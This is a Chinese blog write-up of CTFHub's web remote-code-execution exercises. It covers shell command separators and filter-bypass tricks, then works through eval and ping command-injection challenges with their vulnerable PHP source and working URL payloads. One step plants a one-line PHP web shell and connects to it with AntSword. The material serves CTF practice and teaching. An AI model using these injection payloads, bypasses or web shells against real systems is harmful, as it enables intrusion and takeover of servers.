CTFHub-Web-RCE练习

8 篇文章 1 订阅

什么是RCE

RCE英文全称:remote command/code execute
分为远程命令执行和远程代码执行

远程命令执行直接调用操作系统命令ping
远程代码执行靠执行代码调用操作系统命令eval

管道符

Windows管道符

管道符描述
|直接执行后面的语句。
||如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
&两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可
&&如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux的管道符

管道符描述
;执行完前面的语句再执行后面的语句。
|显示后面语句的执行结果。
||当前面的语句执行出错时,执行后面的语句。
&两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
&&如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

绕过方法

1.拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

2.编码

echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|sh
echo "Y2F0IGZsYWc="|base64 -d|bash

3.单引号,双引号

ca''t flag
ca""t flag

4.反斜杠

c\at fl\ag

5.Shell 特殊变量

ca$@t flag
ca$1t flag

6.通配符绕过

常用的通配符

* 				#匹配任意长度字符
? 				#匹配任意单个字符
[list] 			#匹配指定范围(list)内的任意字符,也可以是单个字符组成的集合
[^list] 		#匹配指定范围外的任意单个字符或字符集合
[!list]  		#[^list]
{str1,str2}		#匹配str1或者str2

例如:

cat${IFS}fl*
cat fl[a-z]?
cat fla* 
cat${IFS}fl*

相关命令执行变量

PHP代码执行变量:

eval函数、
preg_replace、
create_function函数、
array_map、
call_user_func、
assert、
call_user_func_array、
array_filter、
uasor 

PHP代码命令执行变量:

popen、
proc_popen、
passthru、
system变量、
exec变量、
shell_exec、
pcntl_exec。

CTFHub-Web-RCE练习

eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

查看根目录文件

Payload: ?cmd=system("ls");

在这里插入图片描述

查看下一级目录,发现flag_23816文件

Payload: ?cmd=system("ls /");

在这里插入图片描述

使用cat命令读取文件,找到flag

Payload: ?cmd=system("cat /flag_23816");

在这里插入图片描述

https://blog.csdn.net/Xxy605/article/details/107548841?utm_medium=distribute.pc_relevant_t0.none-task-blog-OPENSEARCH-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-OPENSEARCH-1.control

命令注入-无过滤

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

ping一下127.0.0.1
在这里插入图片描述

Payload: ?ip=|ls

发现了25900911724350.php
在这里插入图片描述
使用cat读取文件

?ip=|cat 25900911724350.php

无回显,可能存在字符编码无法显示出来
在这里插入图片描述
查看网页源代码
在这里插入图片描述
还可以利用管道符,通过base64的形式显示文件内容

?ip=|cat 25900911724350.php|base64

在这里插入图片描述
base64解码,得到flag
在这里插入图片描述

还可以写码

?ip=;echo -e "<?php @eval($_POST['shell']);?>" > a.php 

执行?ip=;ls,发现写入成功
在这里插入图片描述

蚁剑连接,数据返回为空
在这里插入图片描述
需要注意echo命令会调用$_POST导致原始文件中没有,一句话木马里面 $_POST 前加上 \

?ip=;echo -e "<?php @eval(\$_POST['shell']);?>" > b.php 

b.php写入成功
在这里插入图片描述
蚁剑连接成功
在这里插入图片描述

命令注入-过滤cat

题目描述:过滤了cat命令之后,你还有什么方法能读到 Flag?

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

执行

Payload: ?ip=|ls

发现了flag_22422157929595.php
在这里插入图片描述

题目说过滤了cat,绕过cat

  1. 单引号或双引号绕过
?ip=|ca''t flag_22422157929595.php
?ip=|ca""t  flag_22422157929595.php
  1. 反斜杠绕过
?ip=|ca\t  flag_22422157929595.php
  1. 利用Shell 特殊变量绕过
?ip=|ca$@t  flag_22422157929595.php
?ip=|ca$1t  flag_22422157929595.php
  1. linux中直接查看文件内容的命令
cat、tac、more、less、head、tail、file -f、nl、sed p、sort、uniq、cut -f 1

cat: 由第一行开始显示档案内容
tac: 从最后一行开始显示,可以看出 taccat 的反向显示!
nl: 显示的时候,随便输出行号!
more: 一页一页的显示档案内容
lessmore 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页!
head: 查看头几行
tail: 查看尾几行
od: 以二进制的方式读取档案内容!
最常使用的显示档案内容的指令可以说是 cat ,more 及 less 了!

其他例子
root@04c1b5721098:/# file --f flag.txt
flag{glzjin_wants_a_girl_friend}: ERROR: cannot open `flag{glzjin_wants_a_girl_friend}' (No such file or directory)

root@04c1b5721098:/# sed  p flag.txt
flag{glzjin_wants_a_girl_friend}
flag{glzjin_wants_a_girl_friend}

root@04c1b5721098:/# diff --from-file flag.txt flag
1c1
< flag{glzjin_wants_a_girl_friend}
---
> 
root@04c1b5721098:/# cut -f 1 flag.txt
flag{glzjin_wants_a_girl_friend}

root@04c1b5721098:/# base64 flag.txt
ZmxhZ3tnbHpqaW5fd2FudHNfYV9naXJsX2ZyaWVuZH0K

cat被过滤了,可以使用其他命令,花式Payload

?ip=|tac flag_22422157929595.php
?ip=|more flag_22422157929595.php
?ip=|less flag_22422157929595.php
?ip=|head flag_22422157929595.php
?ip=|tail flag_22422157929595.php
?ip=|file -f flag_22422157929595.php
?ip=|nl flag_22422157929595.php
?ip=|sed flag_22422157929595.php
?ip=|sort flag_22422157929595.php
?ip=|uniq flag_22422157929595.php

命令注入-过滤空格

题目描述:这次过滤了空格,你能绕过吗

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

先查询目录结构

Payload:?ip=|ls

在这里插入图片描述
查看flag文件内容

Payload:?ip=|cat flag_177172732728132.php

在这里插入图片描述

空格被过滤了,用以下字符代替空格:

 <<>%20(space)%09(tab)$IFS$9${IFS}$IFS  

新的Payload

?ip=|cat${IFS}flag_177172732728132.php

查看源代码即可得到flag

命令注入-过滤目录分隔符

题目描述:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

老规矩

Payload:?ip=|ls

在这里插入图片描述
一些命令分隔符

linux中:%0a 、%0d 、;&|&&||
windows中:%0a、&|%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

由于过滤了目录分隔符 / ,需要切换到相应目录,并使用 ; 分隔符连续执行指令

?ip=;cd flag_is_here;ls

cd 进入flag_is_here目录,ls 显示flag_is_here目录里的内容。
在这里插入图片描述
查看flag文件内容

Payload: ?ip=;cd flag_is_here;cat flag_3708221509571.php

查看源代码,拿到flag
在这里插入图片描述

命令注入-过滤运算符

题目描述:过滤了几个运算符, 要怎么绕过呢

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

从代码中,可以看出过滤了 |&运算符 ,那我们就使用 ; 分隔符绕过

Payload:?ip=;ls

在这里插入图片描述
查看文件内容

?ip=;cat flag_64982941521735.php

查看源代码
在这里插入图片描述

综合过滤练习

题目描述:同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

审计代码,发现过滤了|、&、;、空格、/、cat,以及flag和ctfhub等关键字

1.查看目录结构:
源命令:|ls
#%0a代替运算符|
Payload:?ip=%0als

2.查看flag_is_here文件夹下的文件
源命令:;cd flag_is_here;ls
#%0a绕过运算符和;
#${IFS}代替空格
#flag被过滤了,使用通配符*绕过
Payload:?ip=%0acd${IFS}*_is_here%0als

3.查看flag文件内容
源命令:?ip=;cd flag_is_here;cat flag_216371105627974.php
#使用more代替cat
Payload:?ip=%0acd${IFS}*_is_here%0amore%09*_216371105627974.php 
  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值